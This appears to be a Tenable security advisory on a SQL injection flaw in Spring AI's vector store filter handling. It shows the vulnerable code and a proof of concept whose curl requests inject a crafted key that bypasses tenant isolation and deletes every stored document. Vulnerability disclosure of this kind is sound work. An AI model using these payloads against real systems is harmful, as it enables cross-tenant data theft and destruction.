Synopsis
PgVectorStore, OracleVectorStore, and CouchbaseSearchVectorStore concatenate filter expression output directly into SQL without parameterization, enabling tenant isolation bypass, data exfiltration, and deletion of arbitrary rows. The SQL concatenation is in the framework's store classes and converter's doKey() method - even the programmatic FilterExpressionBuilder API is vulnerable.
// PgVectorStore.java (main branch) — same pattern in OracleVectorStore and CouchbaseSearchVectorStore
String sql =
"DELETE FROM " + getFullyQualifiedTableName() +
" WHERE metadata::jsonb @@ '" + nativeFilterExpression +
"'::jsonpath";
this.jdbcTemplate.update(sql);
PgVectorFilterExpressionConverter.doKey() concatenates "$." + key.key() with no escaping. A single quote in the key terminates the SQL string literal. Additionally, emitJsonValue() does not escape single quotes (not special in JSON), so a single quote in a value also breaks the SQL.
The primary PoC achieves full tenant bypass and data destruction using only FilterExpressionBuilder - no string concatenation in application code. The vulnerability is in the framework's query construction, not in how the expression is built.
Proof of Concept:
Start the database and application:
docker compose -f poc/docker-compose.yml -p sqli-poc up -d
cd poc/java-poc && ./mvnw spring-boot:run
Legitimate request (returns only acme's 2 documents):
$ curl 'http://localhost:8080/search?query=report&tenant=acme'
{"result_count": 2, "filter_key": "tenant", "filter_value": "acme", ...}
Bypass tenant isolation (returns all 5 documents from all 3 tenants). The injected key closes the jsonpath string, adds OR true, then re-opens a valid jsonpath to absorb the trailing SQL:
$ curl -G http://localhost:8080/search \
--data-urlencode "query=report" \
--data-urlencode "key=tenant'::jsonpath OR true OR metadata::jsonb @@ '$.tenant" \
--data-urlencode "tenant=x"
{"result_count": 5, ...}
Delete all documents across all tenants:
$ curl -G http://localhost:8080/delete \
--data-urlencode "key=tenant'::jsonpath OR true OR metadata::jsonb @@ '$.tenant" \
--data-urlencode "tenant=x"
{"status": "deleted", "remaining_documents": 0}
Solution
Upgrade to version 1.0.6 or 1.1.5 or later.
Additional References
https://spring.io/security/cve-2026-40967https://spring.io/blog/2026/04/27/spring-ai-1-0-6-1-1-5-2-0-0-M5-available-now
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]